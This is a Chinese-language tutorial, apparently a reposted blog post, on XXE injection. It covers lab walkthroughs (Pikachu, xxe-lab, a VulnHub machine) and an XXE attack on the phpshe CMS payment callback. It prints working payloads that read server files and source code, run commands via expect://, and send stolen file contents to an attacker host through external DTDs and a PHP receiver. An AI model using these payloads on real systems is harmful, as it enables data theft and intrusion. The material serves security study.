XXE漏洞知識

?目錄

1.XXE簡介與危害

XML概念

XML與HTML的區別

1.pom.xml

主要作用

2.web.xml

3.mybatis

2.XXE概念與危害

案例:文件讀取(需要Apache >=5.4版本)

案例:內網探測(雞肋)

案例:執行命令(不演示,不常見)

案例:無回顯

疑問解答(以下僅需了解)

all為什么要嵌套一層

為什么需要引用DTD文件

%#25是什么?

文件上傳場景中 XXE 漏洞測試

一、環境搭建

二、XXE 漏洞測試流程(以文件上傳為例)

三、關鍵知識點

靶場案例:xxe-lab

3.綜合案例

環境安裝

端口掃描

目錄掃描

7kbscan御劍版的下載

操作環節

7kbscan御劍版掃描

訪問掃描的網址

bp抓包+第一次改包

bp第二次改包

bp第三次改包

區分 MD5、Base64 和 Base32

解析base32

base641后得到的

4.CMS漏洞分析

案例:phpsheCMS

總結

XXE 漏洞知識筆記

一、XXE 漏洞簡介

二、漏洞原理

三、漏洞危害

四、工具檢測

五、總結


本文章僅作為技術分享,請勿使用此技術用于違法犯罪,后果自負!!!

1.XXE簡介與危害

前面講了一些XML知識,這里我們回顧一下

XML概念

XML被設計為傳輸和存儲數據,XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素,其焦點是數據的內容,其把數據從HTML分離,是獨立于軟件和硬件的信息傳輸工具。

XML與HTML的區別

XML被設計為傳輸和存儲數據,其焦點是數據的內容。

HTML被設計用來顯示數據,其焦點是數據的外觀。

HTML旨在顯示信息,而XML旨在傳輸信息。

1.pom.xml

pom.xml是 Maven 項目的核心配置文件,全稱為 Project Object Model(項目對象模型)。它采用 XML 格式,定義了項目的基本信息、依賴管理、構建配置等內容,是 Maven 實現自動化構建和依賴管理的基礎。

主要作用
  1. 項目標識:定義項目的坐標(groupIdartifactIdversion),用于唯一標識項目。
  2. 依賴管理:聲明項目依賴的外部庫(如 Spring、JUnit 等),Maven 會自動從倉庫下載這些依賴。
  3. 插件配置:配置編譯、測試、打包等構建過程所需的插件(如maven-compiler-plugin)。
  4. 構建生命周期:定義項目的構建階段(如compiletestpackage)及各階段的執行目標。
  5. 繼承與聚合:支持多模塊項目的父子關系和模塊聚合,簡化大型項目的管理。

2.web.xml

web.xml相關漏洞:常見的是XXE漏洞。web.xml用于配置Web應用的相關信息,當應用程序解析 XML輸入(如通過web.xml進行某些配置解析)時,若沒有禁止外部實體的加載,就可能存在XXE漏洞。攻擊者可利用該漏洞構造惡意XML輸入,實現文件讀取、命令執行、內網端口掃描、攻擊內網網站、拒絕服務攻擊等危害,例如讀取服務器上的敏感文件,或執行系統命令來控制服務器

3.mybatis

2.XXE概念與危害

XXE漏洞全稱XMLExternal Entity Injection,即xml外部實體注入漏洞,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站等危害。

案例:文件讀取(需要Apache >=5.4版本)

訪問地址:http://localhost/pikachu/vul/xxe/xxe_1.php

準備xml腳本測試

<?xml version = "1.0"?> 
<!DOCTYPE ANY [ 		
<!ENTITY xxe SYSTEM "file:///C:\Windows\System32\drivers\etc\hosts"> 
]> 
<foo>&xxe;</foo>

注意文件地址要與它存在的路徑一致

有些情況下是讀不出來的,可以去虛擬機試一下

案例:內網探測(雞肋)

準備xml腳本測試

在域名下如果有個1.txt文件,可以顯示出來,代表80端口可以訪問

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://192.168.0.61:80/1.txt">
]>
<x>&xxe;</x>

案例:執行命令(不演示,不常見)

在安裝expect擴展的PHP環境里執行系統命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

下面這個鏈接:可以了解一下

https://www.php.net/manual/zh/wrappers.expect.php

php的語言支持封裝協議

案例:無回顯

修改\pikachu\vul\xxe\xxe_1.php

注釋掉后,再去pikachu靶場的話,它是不會顯示任何東西的

正常情況下,是不會顯示的

但是我們想要在對方服務器顯示給我們。

新建一個用于接受的php(虛擬機)測試

<?php
$data = $_GET['file'];
$myfile = fopen("file.txt","w+");
fwrite($myfile,$data);
fclose($myfile);
?>

get.php和vil.dtd都放在虛擬機的phpstudy的根目錄里面。

新建vil.dtd文件(虛擬機)

注意下面的地址不能是127.0.0.1,必須是被攻擊的電腦能訪問的ip測試

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.0.61/get.php?file=%file;'>">
%all;
%send;

注意的第一行的ip地址與文件地址需要在虛擬機里面新建一個1.txt

就讓別人的文件回顯,自動保存在我們電腦上

攻擊腳本測試

<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.17.132/vil.dtd">
%dtd;]>

將腳本放入,注意腳本第3行地址,與vil.dtd是我們前面創建的

然后提交,后我們會發現,虛擬機里面多了一個file文件,里面就存儲的是我們前面新建的1.txt的內容了

疑問解答(以下僅需了解)
all為什么要嵌套一層

因為在里面一層用到了%file;而XML解析不會解析同一層級的參數

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.0.61/get.php?file=%file;'>">
%all;
%send;

為什么需要引用DTD文件

因為在 DTD 的內部子集中,不允許在標記聲明中引用參數實體。您必須使用外部 DTD,即單獨的文件。

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">
%all;
%send;
]>

%#25是什么?

就是%號,如果直接用%號會報錯,這個是它的一個獨特語法

<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.17.132/vil.dtd">
%dtd;]><!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">
%all;
%send;
]>

文件上傳場景中 XXE 漏洞測試

以下是關于 文件上傳場景中 XXE 漏洞測試 的筆記整理,結合紅藍隊視角和實戰流程,幫助理解攻擊原理與防御思路:

一、環境搭建

角色

設備

作用

藍隊(被害者)

本機

運行目標系統(如 Pikachu 靶場),模擬存在漏洞的 Web 服務器

紅隊(攻擊者)

虛擬機

發起攻擊,構造惡意 XML / 文件并上傳

目標系統

遠程服務器

部署 Pikachu 靶場,IP 為111.112.115.14

,提供文件上傳等測試接口

二、XXE 漏洞測試流程(以文件上傳為例)

1. 攻擊準備:構造DTD 文件(vil.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!-- 讀取服務器敏感文件 -->
<!ENTITY % eval "<!ENTITY &#37; exfil SYSTEM 'http://攻擊者IP:端口/?data=%file;'>">
%eval;
%exfil;


?

  • 關鍵作用
  • 通過file://協議讀取服務器文件(如/etc/passwd)。通過http://協議將數據回傳到攻擊者服務器,實現數據外帶。

2. 構造含 XXE 攻擊的 XML 文件

腳本測試

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://攻擊者IP/vil.dtd"> <!-- 引用惡意DTD -->%remote;
]>
<root>&test;</root>

邏輯

  • 當目標服務器解析此 XML 時,會遠程加載vil.dtd并執行其中的惡意實體。觸發文件讀取和數據回傳,繞過服務器本地防護。

3. 上傳攻擊文件并觸發漏洞

  1. 通過文件上傳接口提交?XML
  • 在 Pikachu 靶場的 “文件上傳” 模塊,選擇構造好的 XML 文件并上傳。部分場景需配合 Content-Type 為application/xmltext/xml
  1. 監聽攻擊者服務器接收數據
  • 使用nc(Netcat)監聽端口:bash
nc -lvnp 8080  # 監聽8080端口,接收文件內容

  • 若漏洞存在,服務器會向攻擊者發送包含敏感數據的 HTTP 請求。
三、關鍵知識點

XXE 漏洞原理

  • 核心風險:XML 解析器默認允許加載外部實體(如SYSTEMPUBLIC),攻擊者利用此特性竊取數據。
  • 攻擊載體
  • 直接在 XML 中定義實體(內聯攻擊)。
  • 通過DOCTYPE引用遠程惡意 DTD 文件(外帶攻擊)。

靶場案例:xxe-lab

https://github.com/c0ny1/xxe-lab

可以把上面鏈接的東西下載了之后

訪問:

http://localhost/xxe/

登錄,然后BP抓包:

右鍵,發送到Repeater模塊,它可以多次發送請求響應

<!DOCTYPE ANY [
<!ENTITY  file SYSTEM "file:///C://Users//wujia//Desktop//1.txt">
]>
<user><username>
&file;
</username><password>12313</password>
</user>

構建腳本,在電腦上新建一個1.txt,然后路徑就把上面改為相應的就行了,腳本格式就和上面bp抓包的就行

file就是用來接受C:\Users\wujia\Desktop//1.txt,

&file;就可以接收相應數據

然后我們點擊左上角send發送

報錯了?讓我們來看看,原來是路徑出錯了,所以我們來修改正確再提交:

有回顯證明存在xxe漏洞

所以我們不只可以讀取1.txt文件,我們還可以讀取對方系統里面的hosts文件等一些重要文件

然后我們發現它是doLpgin格式,所以我們可以讀取它的文件:

讀取doLogin.php文件,腳本展示:

代碼:

<!DOCTYPE ANY [
<!ENTITY  file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>
&file;
</username><password>12313</password></user>

然后復制粘貼去BP里面

去瀏覽器解析代碼:它一般是base64加密的形式,所以我們去把base64解析看:

全選,然后解析,也可以去網站上

https://www.toolhelper.cn/EncodeDecode/Base64

解析后

發現有了賬戶密碼等信息,這樣就成功了

3.綜合案例

環境安裝

靶機XXE 下載地址:訪問就直接下載了

https://download.vulnhub.com/xxe/XXE.zip

然后自己創建就行了

然后進去

這個靶機然后讓你輸入密碼,找去flag,并不是讓你真的登錄進去

然后就需要我們去

端口掃描

打開我們kali虛擬機:

查看宿主機IP地址

服務器的IP只會在192.168.17.1-255之間

使用Kali作為主機,掃描獲得IP地址

su root
nmap 192.168.17.1/24

于是我們獲取了剛剛打開的Ubuntu地址,仔細看它開了80端口

我們訪問192.168.17.135:80

然后發現是Ubuntu證明我們找對了!(這個虛擬機不是讓你登錄,就是讓你找flag的)

目錄掃描

掃描目錄

7kbscan御劍版的下載

https://github.com/7kbstorm/7kbscan-WebPathBrute

漏洞探測,滲透需要我們掃一下它http://192.168.17.135

操作環節

發現有兩個文件,我們去訪問

但是注意index.html,它是一個html頁面,訪問出來是這個

7kbscan御劍版掃描

然后我們進去掃出來的另一個,,發現有兩個東西

訪問掃描的網址

先訪問robots.txt

發現有兩個東西 。我們先訪問第一個:

bp抓包+第一次改包

發現它要我們登錄,看到這里,我們用bp抓包看一下:

還是一樣,看到下面有xml,所以會不會有xml漏洞呢?

我們發送到repeater看一下

(注意:這里我的bp用了中文版,方便理解bp的使用)

然后構建腳本:

我們先去看xxe里面有什么

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY  file SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<root><name>
&file;</name><password>123213</password>
</root>

發送過去后,得到一堆base64加密的代碼,我們去解析一下:

代碼審計;

可見,這個是個錯誤頁面,不管你用戶名,密碼,都是登錄錯誤,上當了!

bp第二次改包

于是我們可以去看admin.php有什么,使用構建代碼:

把第三行最后的xxe改為admin.php就行了

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY  file SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>
&file;</name><password>123213</password>
</root>

然后發現出現了更大的一串代碼,不要慌,我們先解碼看一下它是什么東西。

注意解析代碼可以用火狐滲透版自帶的,或者去瀏覽器解析,它是base64加密,使用用base64解碼。

發現有事情可以搞,審計一下代碼

它說如果 username=administhebest 那么password='e6e061838856bf47e1de730719fb2609')

使以看樣子似乎獲取到了賬號和密碼,但是密碼為什么是那么大串呢?

原來一般密碼是MD5加密,所以我們去解密一下。

e6e061838856bf47e1de730719fb2609

查詢到密碼是admin@123

所以賬號為:administhebest
密碼是:    admin@123

我們拿它去登錄一下頁面

意:訪問的IP地址是剛剛我們用kali測出來的地址

可是為什么會報錯呢?我們明明不是已經拿到賬戶和密碼了嗎?

眼尖的朋友注意到了訪問地址的問題,我們應該訪問以admin.php結尾的網站。

http://192.168.17.135/xxe/admin.php

然后我們輸入賬號密碼試一下。

發現有了一個flag,這個會不會是我們要找的flsg呢?我們往下看

然后發現它不讓我們訪問,但是給了我們一個flagmeout.php的文件,BP進去看一下。

bp第三次改包

同樣構建腳本:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY  file SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>
<root><name>
&file;</name><password>123213</password>
</root>

的到了我們去解析一下:

發現它說flag在這里面,我們看看這是什么東西?

原來是base32加密

區分 MD5、Base64 和 Base32

接下來就是側重說一下MD5,base64和base32的區別了:

要區分 MD5Base64Base32,可以從以下幾個核心維度入手,通過觀察特征、用途和技術特性快速判斷:

一、看輸出特征(最直觀)

1. MD5 哈希值

  • 長度固定
    輸出為 32 位十六進制字符串(由數字 0-9 和字母 a-f/A-F 組成),例如:plaintext
e2e7f4b9d3b1c5f9a8d4f3c2b1a0z(無效,僅含十六進制字符)


?

  • 關鍵特點
    • 無填充符(如 =),無特殊符號(如 +//)。
    • 不可逆:無法通過結果反推原始數據,常用于校驗和(如文件哈希值)。

2. Base64 編碼結果

  • 字符集
    包含 64 個字符A-Za-z0-9+/,填充時用 =
    • 示例:plaintext
SGVsbG8gV29ybGQh("Hello World!" 的 Base64 編碼)


?

  • 長度規律
    • 編碼后長度是 4 的倍數,不足時用 = 填充(1-2 個 =)。
    • 可能包含 +/(URL 中可能替換為 -/_)。

3. Base32 編碼結果

  • 字符集
    僅包含 32 個字符A-Z(大寫)和數字 2-7(避免與 0/1/I/O 混淆),填充用 =
    • 示例:plaintext
JBSWY3DPEHPK3PXP("Hello" 的 Base32 編碼)
  • 長度規律
    • 編碼后長度是 8 的倍數,填充符 = 可能較多(最多 7 個,但常見 1-2 個)。
    • 無小寫字母、無特殊符號(如 +//),全為大寫字母和數字 2-7

二、實踐驗證方法

  1. 嘗試解碼

檢查字符集

    • +// → Base64;
    • 全大寫字母 + 2-7 → Base32;
    • 純十六進制(0-9/a-f)→ MD5。

解析base32

得到的是Base64字符,繼續解密

base641后得到的

得到了/etc/.flag.php

我們繼續bp看一下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY  file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>
&file;</name><password>123213</password>
</root>

繼續解析

發現和前面不一樣了,這是php語言,因為他又$符號,所以我們php解析

可以去phpstudy里面,把它放根目錄里面,然后把后綴名改為php就行,但是注意補全php格式

<?php$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$??=+_;$??=$??=$??=$??=$??=$??=$??=$??=$??=++$??[];$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$??++;$__('$_="'.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.$___.$??.$??.$??.'"');$__($_);?>

然后訪問就行了

4.CMS漏洞分析

案例:phpsheCMS

https://github.com/vuatph/phpshe

下載好后,剛開始要初始化安裝一下,輸入

http://localhost/phpshe/install

設置用戶信息

如何登錄管理后臺:

它這個漏洞在支付漏洞里面,我們掃描,它會調用微信支付,會通知商家重新支付,會給出一個接口,所以會有xxe漏洞

然后打開bp隨意攔截

把它發送到Repeater模塊l里面

把它改為,注意17行改為虛擬機地址。

GET /phpshe/include/plugin/payment/wechat/notify_url.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/phpshe/user.php?mod=do&act=login&fromto=http%3A%2F%2Flocalhost%2Fphpshe%2F
Content-Length: 113
Cookie: safedog-flow-item=; PHPSESSID=3199gn7cbq9eudsopceplupga6
DNT: 1
Connection: close<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.17.138/vil.dtd">
%dtd;]>
<root>c</root>

進入虛擬機,把對方的回顯到虛擬機里面。這里和上面的,案例:無回顯一樣

好了,以上就是xxe漏洞的知識。

總結

XXE 漏洞知識筆記

一、XXE 漏洞簡介
  • 全稱:XML External Entity Injection(XML 外部實體注入)
  • 本質:當應用程序解析 XML 輸入時,未禁止外部實體的加載,導致攻擊者可利用自定義實體注入惡意內容,竊取敏感信息或執行系統命令。
  • 常見場景:使用 XML 格式進行數據傳輸或配置的系統(如 Web 服務、API 接口)。
二、漏洞原理
  1. XML 實體概念
  • 內部實體:定義在 XML 文檔內的實體(如 <!ENTITY name "value">)。外部實體:引用外部資源的實體,分為:
  • 本地文件引用<!ENTITY file SYSTEM "file:///etc/passwd">
  • 遠程 URL 引用<!ENTITY remote SYSTEM "http://attacker.com/exploit.dtd">
  1. 攻擊流程xml
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY & file SYSTEM "file:///etc/passwd"> <!-- 引用本地文件 --><!ENTITY & eval "<!ENTITY &#38;exfiltrate SYSTEM 'http://attacker.com/?data=&file;'>"> <!-- 外帶數據 -->&eval;&exfiltrate;
]>
<root>&file;</root>

三、漏洞危害
  1. 敏感信息泄露
  • 讀取服務器本地文件(如 /etc/passwd、數據庫配置文件)。
  • 掃描內網端口(通過 http://127.0.0.1:8080 等 URL 引用)。
  1. 拒絕服務(DoS)攻擊
    • 通過遞歸實體定義(如 <!ENTITY a "&a;&a;&a;">)導致內存 / CPU 耗盡。
  1. 遠程代碼執行(需配合其他漏洞)
  • 在支持 XSLT 或腳本引擎的環境中,結合外部實體執行命令(如 Java 環境中的 DocumentBuilderFactory 未禁用 XXE)。
  1. 內網滲透
  • 通過 SSRF(服務器端請求偽造)攻擊內網服務(如 file://gopher:// 協議)。
四、工具檢測
  • Burp Suite:利用插件(如 XXE Tester)自動生成測試載荷。
  • OWASP ZAP:啟用主動掃描模塊檢測 XML 解析漏洞。
五、總結
  • 核心原理:XML 解析器未限制外部實體加載,導致惡意引用。
  • 防御重點:禁用外部實體、限制解析器功能、嚴格輸入校驗。
  • 檢測手段:結合帶外數據傳輸(DNS/HTTP)和響應分析,利用工具自動化測試。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/84196.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/84196.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/84196.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

02-性能方案設計

需求分析與測試設計 根據具體的性能測試需求&#xff0c;確定測試類型&#xff0c;以及壓測的模塊(web/mysql/redis/系統整體)前期要與相關人員充分溝通&#xff0c;初步確定壓測方案及具體的性能指標QA完成性能測試設計后&#xff0c;需產出測試方案文檔發送郵件到項目組&…

STL優先級隊列的比較函數與大堆小堆的關系

STL中的priority_queue&#xff08;優先級隊列&#xff09;通過比較函數來確定元素的優先級順序&#xff0c;從而決定其內部是形成大堆還是小堆。以下是關鍵點總結&#xff1a; 默認行為與大堆&#xff1a; 默認情況下&#xff0c;priority_queue使用std::less<T>作為比較…

React---day11

14.4 react-redux第三方庫 提供connect、thunk之類的函數 以獲取一個banner數據為例子 store&#xff1a; 我們在使用異步的時候理應是要使用中間件的&#xff0c;但是configureStore 已經自動集成了 redux-thunk&#xff0c;注意action里面要返回函數 import { configureS…

OD 算法題 B卷【反轉每對括號間的子串】

文章目錄 反轉每對括號間的子串 反轉每對括號間的子串 給出一個字符串s&#xff0c; 僅含有小寫英文字母和英文括號’(’ ‘)’&#xff1b;按照從括號內到外的順序&#xff0c;逐層反轉每對括號中的字符串&#xff0c;并返回最終的結果&#xff1b;結果中不能包含任何括號&am…

如何做好一份技術文檔?從規劃到實踐的完整指南

如何做好一份技術文檔&#xff1f;從規劃到實踐的完整指南 &#x1f31f; 嗨&#xff0c;我是IRpickstars&#xff01; &#x1f30c; 總有一行代碼&#xff0c;能點亮萬千星辰。 &#x1f50d; 在技術的宇宙中&#xff0c;我愿做永不停歇的探索者。 ? 用代碼丈量世界&…

css的定位(position)詳解:相對定位 絕對定位 固定定位

在 CSS 中&#xff0c;元素的定位通過 position 屬性控制&#xff0c;共有 5 種定位模式&#xff1a;static&#xff08;靜態定位&#xff09;、relative&#xff08;相對定位&#xff09;、absolute&#xff08;絕對定位&#xff09;、fixed&#xff08;固定定位&#xff09;和…

詳細講解Flutter GetX的使用

Flutter GetX 框架詳解&#xff1a;狀態管理、路由與依賴注入 GetX 是 Flutter 生態中一款強大且輕量級的全功能框架&#xff0c;集成了狀態管理、路由管理和依賴注入三大核心功能。其設計理念是簡潔高效&#xff0c;通過最小的代碼實現最大的功能&#xff0c;特別適合快速開發…

【大模型:知識庫管理】--Dify接入RAGFlow 知識庫

ragflow的官方文檔&#xff1a; HTTP API 接口 |抹布流 --- HTTP API | RAGFlow 接著前文&#xff0c;我們已經創建了知識庫&#xff0c;那么如何才能使用它呢&#xff1f; 當然也是通過網絡API的形式去調用它。本文將講解兩種方式&#xff1a; Dify調用python源碼調用 目錄…

Vue 模板配置項深度解析

Vue 模板配置項深度解析 在 Vue 組件開發中&#xff0c;template 是定義組件視圖結構的核心配置項。作為 Vue 專家&#xff0c;我將全面解析模板的各個方面&#xff0c;幫助你掌握高效構建 Vue 組件的藝術。 一、模板基礎概念 1. 模板的本質 聲明式渲染&#xff1a;描述 UI…

基于深度哈希與圖索引的十億級圖像近重復檢測系統

引言 在上一篇文章中,我們介紹了基于Vision API和SimHash的億級圖像去重方案。本文將更進一步,探討如何應對十億級圖像庫的近重復檢測挑戰,提出一種結合深度哈希學習與圖索引的創新架構。該系統在多個關鍵指標上比傳統方法提升顯著: 檢測精度提升:mAP@100達到0.92(傳統方…

Python開發基礎手語識別(基礎框架版)

一、前期準備 想要實現這些&#xff0c;首先就是要模擬出來一個大致的框架&#xff0c;方便后續開展&#xff0c;下面的就是隨便寫的一個框架&#xff0c;大家湊合看看就行&#xff0c;基本上是這個意思&#xff1a; from tkinter import *w Tk() w.title("手語識別&am…

React從基礎入門到高級實戰:React 實戰項目 - 項目一:在線待辦事項應用

React 實戰項目&#xff1a;在線待辦事項應用 歡迎來到本 React 開發教程專欄的第 26 篇&#xff01;在之前的 25 篇文章中&#xff0c;我們從 React 的基礎概念逐步深入到高級技巧&#xff0c;涵蓋了組件、狀態、路由和性能優化等核心知識。這一次&#xff0c;我們將通過一個…

1991-2024年上市公司個股換手率數據

1991-2024年上市公司個股換手率數據 1、時間&#xff1a;1991-2024年 2、來源&#xff1a;上海證券交易所和深圳證券交易所 3、指標&#xff1a;證券代碼、交易年份、開始日期、截止日期、年換手率(流通股數)(%)、年換手率(總股數)(%)、日均換手率(流通股數)(%)、日均換手率…

RAID存儲技術概述

1 數據存儲架構 數據存儲架構是對數據存儲方式、存儲設備及相關組件的組織和規劃&#xff0c;涵蓋存儲系統的布局、數據存儲策略等&#xff0c;它明確數據如何存儲、管理與訪問&#xff0c;為數據的安全、高效使用提供支撐。 1.1 存儲系統 存儲系統是計算機的重要組成部分之…

LRU 和 DiskLRU實現相冊緩存器

我是寫Linux后端的&#xff08;golang、c、py&#xff09;&#xff0c;后端緩存算法通常是指的是內存里面的lru、或diskqueue&#xff0c;都是獨立使用。 很少有用內存lru與disklru結合的場景需求。近段時間研究android開發&#xff0c;里面有一些設計思想值得后端學習。 寫這…

可視化預警:如何讓生產風險預警更高效?

你有沒有遇到過這種情況&#xff1f; 明明設備已經開始發熱報警&#xff0c;但操作人員還在繼續運行&#xff1b; 或者某個參數已經接近危險值&#xff0c;卻沒人注意到&#xff1b; 甚至問題早就埋下了隱患&#xff0c;只是當時沒發現…… 這些情況的背后&#xff0c;其實都…

【MPC-C++】qpOASES 源碼編譯與鏈接,編譯器設置細節

qpOASES 源碼編譯與鏈接 克隆源碼 git clone https://github.com/coin-or/qpOASES.gitcd qpOASES mkdir build cd build接下來是構建&#xff0c;有一些細節。 查看 CMakeLists.txt&#xff0c;發現如果不顯示指定 CMAKE_BUILD_TYPE 構建版本&#xff0c;會自動編譯 Release…

【11408學習記錄】考研數學攻堅:行列式本質、性質與計算全突破

行列式 數學線性代數一、對象&#xff08;元素&#xff09;&#xff1a;向量二、運算三、行列式3.1 第一種定義——行列式的本質定義3.2 行列式的性質性質1&#xff1a;行列互換&#xff0c;其值不變性質2&#xff1a;若行列式中某行&#xff08;列&#xff09;元素全為零&…

Qt/C++開發監控GB28181系統/取流協議/同時支持udp/tcp被動/tcp主動

一、前言說明 在2011版本的gb28181協議中&#xff0c;拉取視頻流只要求udp方式&#xff0c;從2016開始要求新增支持tcp被動和tcp主動兩種方式&#xff0c;udp理論上會丟包的&#xff0c;所以實際使用過程可能會出現畫面花屏的情況&#xff0c;而tcp肯定不丟包&#xff0c;起碼…

小木的算法日記-線段樹

&#x1f333; 線段樹 &#xff08;Segment Tree&#xff09;&#xff1a;玩轉區間作的終極利器 你好&#xff0c;未來的算法大師&#xff01; 想象一下&#xff0c;你正在處理一個巨大的數據集&#xff0c;比如某個電商網站一整天的用戶點擊流。老板突然問你&#xff1a;“下…